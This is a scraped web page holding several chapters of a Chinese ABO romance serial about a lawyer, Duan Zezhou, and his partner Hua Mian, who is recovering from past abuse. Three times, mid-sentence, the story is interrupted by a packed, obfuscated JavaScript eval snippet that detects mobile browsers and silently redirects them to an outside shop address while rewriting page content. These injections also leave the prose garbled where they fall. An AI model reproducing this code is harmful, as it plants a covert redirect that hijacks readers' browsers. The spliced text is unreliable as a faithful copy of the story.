《段老师养花日记》 2. 02 段泽洲这一晚睡得并不踏实,第二天醒来时比往常早了二十多分钟。 他闭着眼睛听了一会儿外面的动静。 厨房门被拉开了,又很快关上,安静了几分钟后又重新拉开。 之后,阳台的烘干机响了,电动晾衣架被降下来又升回去。 段泽洲属于重度起床困难户,平日里鲜少亲耳听到早上的这些小动静。今天难得有了个机会,他安静听着,觉得自己家里像是养了一个田螺姑娘。 几分钟之后,外面的动静彻底消失了。 段泽洲翻身下床,披了一件厚睡衣,连洗漱都没顾得上,先出去了。 花眠挺惊讶:“今天怎么这么早?” 段泽洲逗他:“你太吵了,把我吵醒了。” “不可能。”花眠瞪他,“我动作很轻的。” 段泽洲矮下身子,下巴靠到了花眠肩膀上,打了个哈欠说:“我看看今天吃什么。” 花眠被他压得快要直不起腰了,“哎哎”笑着和他一同来到餐桌前,指了指桌上的早餐。 面包边烤得酥脆,太阳蛋煎得很圆很厚,船形的小碟子里摆了五只煎饺,还搭配了一杯黑豆豆浆。 段泽洲搂着花眠的腰,懒洋洋地说:“快,炫我嘴里。” 被花眠用胳膊肘轻轻怼了一下肚子。 段泽洲去上班时,花眠刚洗完澡,正准备睡下。 他换了一件宽松的睡衣,打着哈欠和段泽洲说再见,一抬手露出了手腕内侧一片深深浅浅的划痕。 段泽洲接过他的手,低头在他的手背上亲了一口,说:“走了,上坟去了。” 花眠受不了地说:“你这嘴能不能别一天天就知道胡说八道啊!” 段泽洲说:“那不然呢!谁上班不是这心情啊?” 没精打采地到达律所后,段泽洲打起精神开始工作——先搜了一下沈重的新闻。 什么都没搜到。 也正常。 当年那个官司,沈家觉得丢不起这个人,早早地和沈重做了切割,只在最后判决下来后用了点关系保了一把,这才有了后面的暂予监外执行。除此之外,沈家没再伸手管过沈重的事。 现在沈重死了,对沈家来说,大概也是种解脱——一个精神疾病严重的大儿子整日追着一个男Alpha要死要活,说出去真的不好听。 段泽洲不再去想这些,关掉所有的网页后,开始了今天的工作。 * 下午三点左右,花眠睡醒了。 起床后,他先去了厨房。他在睡前给烤箱设置了定时,刚好在他起床后停止。 他简单查看了面包的状态后,回到浴室洗漱。 花眠的头发有点长了,吹头发的时候,几缕发丝掉到脸上,刺得他脸颊发痒。 他皱着鼻子,用手背抹掉那几根发丝。 动作间,他的手背碰到了侧脸上那一块浅浅的凸起。 是一道不算旧的伤疤。 伤口不算短,也很深,但花眠毕竟年轻,护理得好,恢复得也快,现在再看,那道可怖的伤疤只残留了一点浅浅的粉色,并不明显了。 不了解内情的人,大概只以为这是一道长得不够乖巧的胎记。 花眠没那么爱美,对那些沉重的往事也已经放下了大半,这些疤痕他每日都看到,已经很难再在心里起什么波澜了。 洗漱完毕后,花眠拿了几块自己烤的面包试味道,顺便剪了一个视频——这段日子积攒了不少烘焙失误的题材,可以水一期失误特辑了。 花眠还在读大学,没什么固定的工作,也没有稳定的收入来源。他平日里就喜欢做些蛋糕甜点,某日心血来潮,整理了一些自己拍摄的食物制作视频放到了网上,没想到挺意外地获得了不少好评,这个账号就这么做起来了。 啃完了一块面包后,大门被敲响了。 花眠动作一顿,迟疑着朝门口走去。 段泽洲没说今天有客人来,会是谁呢? 花眠有点抵触地朝门口走着,蜗牛一样慢吞吞。 从猫眼里一看,花眠在心里叫了一声“我的天呐”,面色惨白地开了门。 来人名叫林见清,是段泽洲的母亲。 “伯母,”花眠嗫嚅着,“您怎么来了。” 林见清带了一袋高筋面粉和一箱鸡蛋过来。她换了鞋,开口先批评了一通花眠的作息:“你才起啊?你这作息不行,得改改。” 花眠:“……哦。” 进门之后,林见清往沙发一坐,下巴朝厨房的方向一抬。 花眠屁颠屁颠地小跑着去厨房,端了一盘饼干出来。 林见清吃了两块,有点噎,又示意花眠给她倒点喝的。 于是花眠又从豆浆机里倒了一杯红枣豆浆,递了过去。 林见清吃饱喝足了,终于开始说正事了:“论文怎么样了?” 花眠嗓子一堵:“在、在写呢。” 林见清了然道:“写到前言了?” 花眠好悲伤——他竟然无法反驳。 他垂下头,默默叹气,无话可说。 林见清看见他这副样子,仿佛看见了自己那些不争气的学生。她按按额头,说:“把你论文给我看看。虽然我不懂你那些东西,但大致逻辑可以给你捋一捋。” 花眠挣扎了一会儿,认命地拿出笔记本,调出了自己的论文。 之后,他被林见清疯狂输出了半个小时。 最后,林见清也受不了了:“如果我是你们学校的老师,你这个开题我不会给你过。” 花眠两眼发直,灵魂已经飘走有一会儿了。 好在,这个时候段泽洲回家了。 这人打开门看了一眼,震惊地说:“我老天呐我回错家了,不好意思,打扰了。” 林见清合上花眠的笔记本,扬声道:“姓段的,你给我滚进来。” 段泽洲低眉顺眼地换了拖鞋,进屋了。 林见清指了指花眠的小狗睡衣,不满地说:“是你爸破产了还是你们律所破产了?你看花眠穿的这是什么啊。” 说罢又挑剔起自己儿子的衬衫和大衣:“还有你,一天天人模狗样的,你是这么正经的人吗?” 段泽洲直愣愣地往地上一躺,两眼一闭,两只手往肚子上一搁,开始装死。 大约半小时后,林见清终于准备离开了。 段泽洲喜不胜收:“不送了哈!” 花眠不能说这种话,再三纠结后还是开口挽留:“伯母,不留下来吃晚饭吗?” 林见清说:“老段今晚不在家,我要点外卖吃。” 段泽洲竖起耳朵:“吃什么?” 林见清:“烤冷面。” 段泽洲啧了一声:“再见。” 临出门时,林见清一边弯腰穿鞋,一边问花眠:“钱够用吗?” 花眠没什么用钱的地方,自己那点兼职赚的钱足够用了。 他实话实说:“够用的。” 林见清瞥了他一眼,往鞋柜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17033512|194592||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上放了一张卡:“十万。省着点用啊。” 花眠慌忙地摆摆手,红着脸拒绝:“伯母,真的不用!” 林见清说:“给小洲买衣服。你们俩一天天的,一个穿得像卖保险的,一个穿得像初中生。” 卖保险的段泽洲无辜地说:“段老师每位委托人都要感慨一句‘段老师可太帅了’,你说我像卖保险,我真不服。” 林见清说:“人跟你客气,也就你当真。” 终于请走这位老太太之后,段泽洲无语地说:“老太太下回过来,你能不能提前给我通个风报个信啊?我得有点心里准备吧!” 花眠好无辜:“我不敢。她盯着我改论文。” 两人相对无言了一会儿,又同时笑了。 花眠……之前因为一些原因,没有读完大学,大二的时候就休学了。 后来和段泽洲谈恋爱后,林见清找了点关系,恢复了花眠的学籍,让他把没读完的学业念完。 这晚睡前,段泽洲叫住花眠:“花老师,明天晚上赏个脸,接我一趟。” 他说了个地址:“我明天下午要去这儿开会,顺便吃饭,肯定得喝酒。” 段泽洲应酬多,但酒量真谈不上好,每次都是硬撑着到结束,花眠经常去接他,也习惯了。 他握了握段泽洲的手,说:“行。大概几点结束呀?我十点半到,可以吗?” 段泽洲说“差不多”。 第二天傍晚,花眠提前弄好了饭菜,又准备了一些缓解酒后不适的暖汤,开车出发了。 说起来,他这些年鲜少出门,更谈不上和谁交流,除了去学校之外,大概只有考驾照的那段时间会出门了。 他按照段泽洲发来的地址找了过去,算了算时间估计饭局快结束了,便没找停车场,只在路边停下了。 他熄了火,把车窗打开了一点缝隙。 ……却没想到,会在这时候遇到一个意想不到的人。 马路对面,高大冷峻的Alpha正一瞬不错地盯着他。 是钟意。 花眠关上车窗,脑袋一片空白地看向前方。 只不过几秒之间,钟意已经来到他的车子旁边,伸手敲了敲他的车窗。 花眠浑身僵硬地坐在驾驶座上,反复深呼吸过几次后,放下了车窗。 寒风呼呼地吹进车里,把原本温暖的狭小空间吹得冰冷无比。 花眠的长发打着卷被吹起,刺得他唇齿酸涩。 “好久不见了,眠眠。”钟意不是有耐心的人,等了许久都不见花眠开口,便主动同他打了招呼,“你的脸色看起来不错,好像也胖了一些。” 花眠没有看他,连一个余光都没有给过去,只给他一个冷淡的侧脸。 钟意并不在乎这些,浅浅笑了一声,说起了另一件事:“本来我还在犹豫该怎么告诉你,没想到今天就见面了,正好,大概是老天爷就想让你知道这件事。” 他的手挤进半开的车窗,却没有遮住半点冷气。 他的手指扣着窗子,低声说:“你应该还不知道,昨天凌晨,沈重死了。” 他见花眠仍没有反应,耐着性子又说了一句:“段泽洲不在我们这个圈子里,或许他还不知道这件事。眠眠,沈重死了,以后,你不用再担惊受怕了。” 花眠终于给了一点反应。他微微抬起头,平静地看了一眼车外站着的人,淡淡地说:“好希望下次有人来告诉我,钟意死了。” 车窗外,钟意的脸色陡然冷了下来。 3. 03 段老师养花日记(1) 花眠不想和他纠缠,再次升起车窗。 钟意沉着脸在车外看着,灰色的羊绒围巾下摆被寒风吹起,微微飘动。 就在车窗即将完全关闭的时候,他忽然伸手,挤进了最后那点缝隙中—— 车窗感受到了异物,突兀地停了下来。 太冷了。室外不知何时飘起了丝丝雪花,钟意只穿了一件薄薄的大衣,手背已经冻得泛白,现下被车窗打了一下,又起了一片红肿。青白和红肿交错着映在手背上,却并不显得柔弱可怜,只现出一种阴森森的凌厉感。 他轻笑一声,没什么感情地开了口:“眠眠,你在记恨我。” 他不等花眠回答,自顾自地继续说:“这也太没道理了,眠眠。当时我想帮你,是你拒绝我,是你不要我帮你,怎么现在还怪上我了?” 说起这些,钟意甚至觉得自己才是该生气的人,语气更加阴沉:“是你非要选段泽洲。段泽洲有什么能耐?他能给你什么?他能给你的,我一样能给你。但我能给你的,他给得了吗?” 钟意此人自说自话的本领十分强。愤怒过后,他又很快哄好了自己,继续温声对花眠说:“眠眠,现在还来得及,我说过的话一直算数。” 花眠看了他一眼,隔着那条窄窄的缝隙,轻声开了口:“钟意,你——” 花眠停顿了一下,冷冷地说:“离我远点。” 钟意像是真的不解:“沈重做的事,你也要赖在我身上?” 花眠奇道:“沈重不是好人,难道你就是?怎么,我不该恨你吗?” 他闭了闭眼睛,再开口时声音带着一丝颤抖:“你是没强迫过我吗?沈重是疯子,你也是个垃圾。” 钟意怒道:“花眠,你——” 就在这里,马路对面传来一阵热闹人声。 段泽洲的饭局结束了。 几个人有说有笑地走出酒店大厅,好像一瞬间就带走了飘荡着的寒冷雪花。 段泽洲的手臂上挂着自己的大衣,只穿着一件薄薄的羊绒衫,和为首的中年Alpha说了几句话。 他们身后,一位女性Alpha笑着插了一句:“下周行领导汇报,段律,还是您来吗?” 段泽洲半开玩笑地说:“我是打刑事的,大材小用了啊。” 方才那位领导适时接话:“那还是希望永远不用段律出手,哈哈。” 花眠紧绷的情绪陡然松懈下来。 他没有再理会别的,关了车窗,一打方向盘,朝马路对面驶去,完全不去管是否会撞到外面的人。 钟意向后退了几步,脸色阴沉地看着那辆驶离自己的车。 * 花眠掉头过来的时候,段泽洲那边的人已经散了。 他按了喇叭,示意那人上车。 小雪花逐渐变大了。 段泽洲坐进来的时候,也带进了几片雪花。 温暖的车内裹入了一丝凉意,又很快被暖风吹散。 段泽洲带着一身酒气,干脆坐在了后排。他伸手碰碰花眠的脸颊,说:“送你一片雪花。” 花眠脸颊一冰—— 原来,段泽洲从车窗上粘了一片小雪花下来,贴在了花眠脸上。 花眠哭笑不得:“你好无聊。” 段泽洲笑了笑,凑到前排想亲他,又碍于酒气,犹豫了一下坐了回去。 这时,他的余光越过车窗,看到了钟意。 耽误的这几分钟时间,钟意也过了马路,安静地站在花眠的车前,注视着车内的一切。 段泽洲本来都躺到后座上了,看见钟意后挺无奈地又坐了起来。 他放下车窗,跟那人打了个招呼:“好巧。” 钟意微笑着说:“好久不见了,小洲。” 段泽洲无语地说:“钟意,你才比我大了不到两岁,天天‘小洲小洲’的,你叫小辈呢?” 钟意表面上在和段泽洲打招呼,实际上视线一直定在花眠脸上,听到这话后才转而看向段泽洲,说:“你怎么老是斤斤计较这些。” 段泽洲敲敲车窗,不满地说:“还成我斤斤计较了?行,那以后我就叫你小意,小意小意,你看你爱听不爱听。” 被段泽洲这么胡搅蛮缠一通,钟意心里更加窝火。他盯着段泽洲看了一会儿,笑了一下,说:“我说不过你。” 说着他低头看了看手表:“我还有点事,先走了。小洲,眠眠,有空一起吃饭啊。” 段泽洲挥了挥手:“没空哈,每天喝酒快喝死了,小意放过小洲吧,啊。” 段泽洲这人说话贯是如此,一时之间钟意也无法分清这是心里话,还是借题发挥的冷嘲热讽。 他点了点头,说:“随便你。” 段泽洲也很满意地点了点头。正欲道别时,他忽然又开口说:“小意,好久没见嫂子了,带个好啊。” 话说到这里,钟意终于能确定段泽洲是故意在恶心他。他冷笑了一声,说:“行,有空来家里吃饭。” 段泽洲比了个OK的手势,说:“有空再说。” 敷衍的意味很明显了。 花眠没有管车外的人,只从后视镜里看了一眼段泽洲,抿了抿嘴,脸上终于露出一点浅浅的笑意。 一打方向盘,走了。 * 说起来,沈重也好,钟意也好,别的什么人也好,段泽洲和这些人的关系不远不近、不冷不热,能称得上一句认识,但要说有多熟悉,倒也未见得。 他们这些人的关系,要向上追溯到爷爷和姥爷那一辈。 那一辈的人,是一起当过兵上过战场,一起死里逃生过的关系,是过命的交情。 但到了父母那一辈,关系就慢慢淡了。 和平年代没那么多打打杀杀,个人自谋出路,有的下海经商,有的读书从政,还有的,靠着祖上那点威望和声名横行霸道。 再到了这一辈,祖上的那点亲近,也就散得差不多了。 那些人瞧不上段泽洲,觉得他假正经、假好人、伪君子。 段泽洲也看不上他们,觉得那些人只会靠着老祖宗留下的东西坐吃山空。 实在没想过的是,渐行渐远的一群人,最后会因为一个花眠而重新有了交集。 赶走了钟意后,段泽洲心里也窝火得很。 先前听说这个饭局地点的时候他没多想,只觉得确实耳熟,现在见到了钟意才后知后觉——前阵子,钟意的公司搬到这栋写字楼了。 早知道就不让花眠过来接了。 各怀心事的两个人一路沉默着回了家。 段泽洲那点酒劲儿也过去了,他在车上一直小心瞧着花眠的脸色,见花眠没什么异常,才稍微放下心来。 到家之后,段泽洲快速冲了澡,出来之后张嘴就要吃的:“饿死我了。” 花眠笑眯眯地戴上隔热手套,从烤箱里端出一盘千层饼,看起来心情很不错:“之前在网站上发过一次制作意式千层饼的视频 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17033513|194592||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,评论都在说,我这个东西一看就是做给自己吃的,芝士和肉酱放得太足啦。” 段泽洲也乐了:“这个评论我看见了,没说错啊!” 花眠把椅子搬到他身旁,坐到旁边有一口没一口地吃着。 段泽洲在心里犹豫着是否有必要开口提起今晚的事——钟意也好,沈重也好,终究只是过客,他们是生是死、是好是坏,和花眠、和自己,已经没有半点关系了。如今花眠恢复得很好,他觉得实在没有必要再用这些事去打扰他。 正犹豫着的时候,花眠主动开了口:“晚上的饭菜很难吃吗?” 段泽洲立刻诉苦道:“不知道!根本没吃几口,光喝酒了。” 花眠掩嘴偷笑,走过去靠在他身后,轻轻给他捏着肩膀:“好啦段老师,辛苦啦。” 饭后,花眠抱着段泽洲换下来的衣服去了阳台。他一个个检查过衣裤的口袋,确认没有物品残留后,把这些衣裤丢进了洗衣机。 水龙头打开后,哗啦啦的凉水涌入洗衣机。 花眠转身去拿洗衣液,拧开盖子的时候忽然愣住了。 太多的凉水落到衣服上,反而冲上来一股明显的酒味。 段泽洲多少算是个有身份的人,他参加的饭局,必定喝的好酒。 复杂多种的味道混合在一起,夹杂在苦涩的酒液里,一点一点飘进花眠鼻中。 略显苦涩的木制苦调后是一点不太明显的糖味,像是熬开了的焦糖。 几秒钟后,甜味和苦味完全融合,像一块浓郁又甜美的酒心巧克力。 这点不太明显的甜味却不知怎地击中了花眠。 他摸了摸洗衣机,费力地掏出那件被水流打得湿透的上衣,眼泪怔怔地落了下来。 段泽洲过来厨房倒垃圾,刚好看到了这一幕。 ……他实在不能算是一个细心的男人,这一晚都快要结束了,他才迟钝地回忆起这一晚喝过的酒。 波本威士忌,很不巧,他的信息素也是这个味道。 太久没闻过这个味道了,段泽洲自己竟然都觉得陌生起来。 他扔下手里的垃圾,走到阳台,从背后拥住花眠,笑着说:“又怎么了,小祖宗?” 花眠抿着嘴,把那件衣服放回洗衣机,又用手背擦干了眼泪,才回过头来。 他用手臂环住段泽洲的腰,侧脸紧紧贴着他的胸口,轻声说:“我好爱你,哥哥。” 段泽洲不知该说什么好。他拍拍花眠的背,嘴唇吻着他的头发,片刻之后也低声说:“我知道,眠眠,我知道。” * 段老师养花日记(1) 提了新车,出门第一个拐弯就出了车祸。 已经麻了。 这人不要命一样往我车上撞,好在我开车谨慎速度慢,又及时刹了车,才没出什么大事。 我气急败坏,不是,着急忙慌地下了车,撞我车的人躺在路上,腿好像有点骨折。 我没办法,报了警又叫了救护车。 喜提人生第一次坐救护车的经历。 这救护车的司机开车真野啊……我午饭都快吐出来了。 那人很瘦,脸色也很差,好怕他死掉。 救护车上的护士却觉得我大惊小怪。 在车上,医护人员跟他确认身份信息。 他还清醒着,只是腿骨折了。但是说话的语气有气无力,好像受了什么致命伤一样痛苦。 他说他叫花眠。 4. 04 段泽洲比花眠大了快七岁,花眠他叫一声哥哥倒也无可厚非。 只是…… 段泽洲轻轻叹了一口气:“不是说好不说这些了吗?” 花眠在他的肩膀上蹭干了眼泪,说:“我不是这个意思。” 段泽洲拥着他走到沙发上坐下,手里还在抚着他的背。 段泽洲沉思了一会儿,开口说起今晚的事。 “今天晚上是我太粗心了。喝酒的事也好,钟意的事也好,我都该细心一些,早点发现的。” 花眠伸手去捂他的嘴,脸上看不出什么不快:“刚刚不是才说过不提了吗?” 段泽洲笑弯了眼:“好好好,不提,不提。” 两人安静了一会儿后,花眠提起了另一件事:“上次伯母过来说我这个作息不行,让我改。” 段泽洲幸灾乐祸道:“我早跟你说过不行,早就让你改,你不听,非要让我妈过来把你数落一顿。” 花眠闷闷地“哦”了一声。 段泽洲又说:“那你改不改?” 花眠依然闷闷地:“改。不然下次又要挨骂。” 段泽洲用手摸摸他的下巴,逗弄小猫一样:“那你怎么改?” 花眠抬头看他,眼睛亮亮的。 他的答案就装在眼睛里。 段泽洲心里一软,把他搂进自己怀里,装模作样地问:“那你要不要搬来我的卧室?” 花眠依然没回答,只是伸出手搂住他的脖子,脸上笑意更甚。 * 花眠没拿太多东西,只把自己的被子和枕头抱进了段泽洲的卧室,特别乖巧地坐在他的床上。 说着要调整自己的作息,但真到了这个时候,花眠又有些犹豫:“如果我睡不着觉,会影响你吗?” 段泽洲说:“我睡觉像猪一样,你影响不了我。” 花眠沉思道:“也是哦。” 段泽洲掐他脸:“你再说一遍。” 胡闹了一会儿之后,花眠躺进被子里。虽然毫无困意,但还是和段泽洲说了“晚安”:“我尽量不发出动静哦。” 段泽洲隔着被子把他捞进怀里:“你这个作息不可能一天就调过来,没关系,慢慢来。” 花眠苦恼地说:“其实,就算伯母不说,我也想调整一下了。每次上白天的课时都觉得很困,这样也不行。” 他很怕段泽洲问起他的论文,便率先抢话道:“不许问我的论文怎么样了!” 段泽洲哈哈大笑。 中间说了些有的没的,到了十点多的时候,花眠依然毫无困意。 他在床上小心地翻了身,尽量放轻声音,不去打扰旁边的人。 但段泽洲也并没有睡着。 他隔着被子戳戳花眠的背:“你到底想说什么?这一晚上都欲言又止。” 花眠比他小太多了,一丁点心事都藏不住,在段泽洲面前,他简单得像张白纸。 花眠闻言又转了过来。 他的脸上没有什么太特殊的表情,很平淡地说起藏了一晚上的心事:“钟意跟我说,沈重死了。” 段泽洲大概猜到了会是这件事,也没有太多惊讶。他“啊”了一声,说:“就是前两天的事。” 他有心想解释一下:“我觉得没什么必要告诉你,就没跟你说。” 花眠眨了眨眼睛,浅浅地笑了,脸颊挤出一对可爱的小酒窝:“我知道,我也不关心这些,你告诉我或者不告诉我,都一样的,我无所谓。我只是在想——” 花眠的笑意温暖不似作假:“段老师,其实我听到这个事情的时候,第一反应是……我当时竟然在想,沈重是谁。” 见到钟意的时候,花眠满心只有厌恶,而听到这句话的时候,他的第一反应又很平淡。 ……甚至,他脸上和手臂上的伤口比他的思绪更先一步反应过来。 那些早就好了的伤疤,早就痊愈了的伤口,比他的心更先一步痛了起来。 到了那一刻,花眠才后知后觉。 沈重、沈重是…… 那曾经是他最大的噩梦。 但事到如今,沈重这个人,和沈重曾经做过的事情,好像早已经在他的生命里烟消云散了。 那些过往就像一个梦。 到了现在,花眠甚至不会用噩梦去形容那些事了。 他掀开自己的被子,偷偷钻到段泽洲那边去,两只手抱紧他的腰,侧脸贴着他的胸口。 他闭着眼睛说:“我现在只觉得,我真的好爱你,段老师。” 胸口上沉甸甸的分量一直钻到了段泽洲心里,今晚的那些不快也终于随着这句话彻底消失无踪。 他搂紧怀里的人,调笑着说:“好了好了,知道你很爱我了,不用一直说。” 花眠偷笑着看他,笑得眉眼弯弯。 花眠说着尽量不发出动静,这一晚也真的很安静。段泽洲不知道自己什么时候睡过去的,也不知道花眠什么时候睡过去的,总之第二天一早睁开眼睛,那人在自己怀里睡得安稳。 难得有这样的机会,段泽洲也没有声张,安静地躺在一边,用视线描绘着花眠的五官。 段泽洲对花眠不算见色起意。但是,即便已经相爱这么多年,这样毫无防备地看到花眠的睡颜,段泽洲仍然觉得心动。 长长的睫毛覆在眼睑,落下一小片阴影。他安静地睡在枕头上,看上去却是那样的生机勃勃。 白皙的面容搭配着姣好的五官,任谁看了都是一副可怜可爱的模样。 段泽洲忍不住伸手碰碰他,动作放得很轻,划过那道伤痕的时候更是小心。 当时花眠抱着鱼死网破的心态在自己脸上划了这一刀,下手很重,伤痕也很深。 出色的样貌不是他的优点,只是刺向他的最尖锐的武器。 那时,沈重没有来得及制止,刀刃划破皮肤的时候,沈重如丧考妣,仿佛被毁了容的不是花眠,而是沈重他自己。 事隔多年,伤口早就愈合了,这道伤痕也已经很浅了,但段泽洲碰到这里的时候,还是轻之又轻,生怕自己一个动作就会弄痛他。 安稳的日子过了太久,段泽洲好像也忘了,初见花眠时,他远不是现在的样子。 想起那些,段泽洲又觉得现在这样的生活实在太好了。他的爱人能够重新振作起来,实在是太好了。 他在床上躺了好一会儿,直到翻来覆去的动静几乎快要吵醒花眠时,才不得不从床上爬起来。 ……然后发现已经十点了。 段泽洲惊了,动作飞快又小心翼翼的立刻跑着去洗漱。 虽说他是律所的合伙人,没人规定他必须按时打卡上班,迟到也不会扣钱,但…… 一觉睡到十点也太夸张了吧! 段泽洲一边换衣服一边看手机,还要小心翼翼地避免 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17033514|194592||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吵醒花眠。 ……秘书给他发了三条消息,还打了一个电话。 他完全没听到。 好在不是什么急事,只是问他今天早上是否有别的安排。 但,大概是迟迟没有等到回复,秘书最后发了一个问号。 段泽洲淡定地扯着慌:【我手机sim卡坏了,去换卡了。】 段大律师的谎话信手拈来:【原来不是每一个营业厅都能换卡啊,我跑了好几趟。】 秘书很体贴地回复道:【段老师,下次您告诉我,我帮您跑就是了。】 * 处理完这一天的工作后,段泽洲给花眠发了消息,告诉他自己今晚要回一趟父母那里,让花眠不用等他吃饭。 到了父母那里时,段恒也刚下班回来,顺便把林见清的奶茶拎回来了。 段恒见了儿子,别的没说,先告了一状:“你看你妈,天天喝奶茶。” 段泽洲:“你也喝。” 段恒说:“喝了,失眠到半夜,再也不敢了。” 段泽洲无语道:“那你这是告的哪门子状?” 段恒无辜地看他。 父子两个胡搅蛮缠了一通,林见清忍不了了,打断他们:“行了行了,老段没个正形。小洲,你爸是想问你,沈家小子那事,你听说了吗?” 段泽洲:“……” 他头痛地按了按鼻梁,心想,这一天两天的没完没了,沈重阴魂不散啊! “听说了,”段泽洲无语道,“死了,死了,我知道,沈重死了。” 段恒“哦”了一声,说:“明天出殡,今天早上老沈才告诉我。我说明天我怎么也得去看看,老沈不让。” 段泽洲正在削苹果,听到这话后想了一会儿,说:“大概是想越简单越好吧,也正常。” 沈重这个人,在他们沈家内部,也是个不太能提起的人。 沈重比段泽洲小两岁。 小时候,段泽洲、沈重还有钟意三个孩子年纪相仿,又都是男孩,在军区大院里一块儿长大,关系还算近。 段泽洲六岁左右的时候,段恒一家搬走了,远离了大院,也远离了所谓的权力中心。 再之后,段家和那两家人的关系就淡了。 十几岁的时候,段泽洲忽然听说沈重死了。 他不解地回家问父母,段恒只说,大人的事情你不要管。 段泽洲自己打听了几次,得来的消息全然不同。 有人说沈重太败家被赶出家门了,有人说他染了重病去世了,更有甚者,说他是被人绑架撕票了。 ……直到偶然遇见花眠,他才知道,原来沈重十几岁的时候确诊了精神分裂,还合并了一些其他难以治愈的情感障碍类疾病,暴力倾向严重,几乎被“软禁”了起来严加看管着。 沈家对此讳莫如深,不愿提及,宁愿外界猜测这个孩子已经去世,也不愿过多解释。 段泽洲想着这些,慢慢削好了苹果,正准备放进嘴里时,被段恒一把抽走,嘎巴一下咬掉了半个。 段泽洲:“……?” 段恒含糊地说:“老沈说不让去,我肯定还是要去看看。今天叫你回来是问问你的意思。” 林见清在段泽洲就要发火的前一秒过来给他顺毛,塞了一个爱媛到他手里,说:“问问你们小花儿的意思,他要是不愿意,老段就不去了,意思意思随点钱就算了。” 5. 05 段老师养花日记(2) 林见清是北方人,儿化音说得很溜,平时称呼花眠的时候,也喜欢加个儿化音,叫“小花儿”。 段泽洲对此有过不满:“你别跟叫小猫儿小狗儿一样行不行?” 林见清说:“怎么了?小猫儿小狗儿怎么了?你在我眼里也是小猫儿小狗儿。” 段泽洲无语:“我说不过你,老太太。” 林见清说:“你知道就行,少来招惹我。” 起初,段泽洲的父母不怎么愿意接受这段感情——更明确地说,是不想接受花眠这个人。 倒不是因为花眠和沈重的那些纠葛,而是…… “咱们段家,没有他们沈家有钱,也没有钟家会站队,我们不过大富大贵、手眼通天的生活,从搬出大院的那一天,我和你爸就决定了,我们这辈子只想过安安稳稳的生活。” 选择了花眠,在某种程度上就算是和沈重撕破脸了。沈重这种神经病,会做出什么事来,没人能够预测。 段泽洲以为父母在担心这些,年轻气盛时什么都敢想、什么都敢说:“怕沈家?他们管教不好自己的儿子,不觉得丢脸吗——” “谁怕他们?”段恒淡淡打断道,“我这半辈子,身正不怕影子斜,他就算真想找我麻烦,也没那么容易抓我把柄。倒是你,小洲,你有这个底气吗?” 林见清循循善诱:“小洲,如果你只是想和那个孩子玩玩,我和老段是不可能同意的——咱们段家,不养金丝雀。” 段泽洲怒道:“谁养金丝雀?!” 林见清说:“在别人看来,你就是在养金丝雀。” 她抢在段泽洲再次反驳之前开口:“如果你觉得不是,那你告诉我,如果离开了你,离开了其他所有人,花眠有没有自己独立生活的能力?” 林见清从来都不是好说话的人,但她也从不会强词夺理。 她所说的话,字字认真:“花眠连大学都没念完就被沈重……” 她隐去一些词,只说:“他体验过这个社会吗?除了沈重,他知道别人一样居心叵测、他知道人心险恶吗?你口口声声说不是在养金丝雀,那我问你,花眠手里有钱吗,有身份地位吗?离开了你,他能做什么,他怎么生活?小洲,他不能完全依附于你,他不能做养在温室里的菟丝花。” 段恒适时接道:“他也未必愿意——如果他愿意,他何必和沈家那孩子闹成这样呢?小洲,你妈说话直,但她说的话,你考虑一下。” 冷静下来之后,段泽洲认真考虑了父母说的话。 别的暂且不说,父母总有一点是对的。 花眠不可能一直依附于他生活。 花眠……花眠不是愿意做金丝雀的人。 后来,段泽洲试着和花眠沟通。 ……话还没说出口,心疼先涌了上来。 那时的花眠瘦骨嶙峋,抱在怀里时,入手只摸到一把细细的骨头。 花眠很拘谨地看他,问他怎么了。 段泽洲用手掌抚着他的头发,温声问:“又快到7月了,快放暑假了。眠眠,等到9月份再开学的时候,你想不想回学校?” 褪去防备后的花眠眉眼温和又冷淡。他看着段泽洲,眉毛依然习惯性地浅浅皱起。 “我……”他迟疑地问,“还能回去吗?上次办休学的手续,已经是三年前了。我的学籍……应该没有保留着。” 段泽洲用指腹抚平他的眉心,低声说:“你想回去,我就帮你想办法。” 再之后,这个办法没用段泽洲来想,母亲先出手帮他搞定了。 而作为交换的条件,是花眠要在这剩下的三年大学时光里,重新融入到这个社会。 只一眨眼,这三年就要结束了。 这一晚段泽洲回家时,花眠正在剪视频。 他看到段泽洲手里提着的爱媛,欢天喜地地扑了上来;“我好喜欢吃爱媛!” 段泽洲掏出一个递给他:“我爸买的。这老头,沉迷上网买水果。” 他像大型犬一样趴在花眠背上,看着小恋人被压弯了腰,还要费力地“背”着背上的大累赘艰难回到沙发坐下。 